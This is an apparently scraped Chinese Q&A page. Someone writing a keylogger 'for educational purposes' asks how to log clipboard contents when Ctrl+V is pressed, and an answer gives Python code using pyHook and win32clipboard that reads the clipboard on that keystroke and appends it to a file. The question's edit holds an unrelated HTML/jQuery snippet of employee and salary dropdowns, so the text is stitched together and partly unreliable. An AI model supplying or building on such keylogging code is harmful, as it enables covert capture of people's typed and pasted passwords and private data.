我尝试复制剪贴板中的内容并将其写入文件,以防万一按下ctrl + v,我发现它的缩写是'SYN',但我没有发现它是ascii。我正在编写一个键盘记录程序(出于教育目的),我设法捕获每个按下的键并将其写入文件,当按下ctrl + v时,我在文件中得到的内容是“ Lcontrol”,紧随其后的是“ v”,那么我猜是它会分别捕获它们。
编辑:找到了解决方法-
<script src="https://ajax.googleapis.com/ajax/libs/jquery/2.1.1/jquery.min.js"></script>
<select id="emp">
<option value="emp1"> Emp Name 1</option>
<option value="emp2"> Emp Name 2</option>
<option value="emp3"> Emp Name 3</option>
<option value="emp4"> Emp Name 4</option>
</select>
<select id="salary">
<option value="sal1"> $1000</option>
<option value="sal2"> $2000</option>
<option value="sal3"> $3000</option>
<option value="sal4"> $4000</option>
</select>
答案 0 :(得分:0)
解决方案:
...
import win32clipboard
from pyHook import HookManager, GetKeyState, HookConstants
...
if GetKeyState(HookConstants.VKeyToID('VK_CONTROL')) and HookConstants.IDToName(event.KeyID) == 'V':
win32clipboard.OpenClipboard()
data = win32clipboard.GetClipboardData()
win32clipboard.CloseClipboard()
with open(file, "a") as f:
f.write("{Clipboard : " + data + "}")
...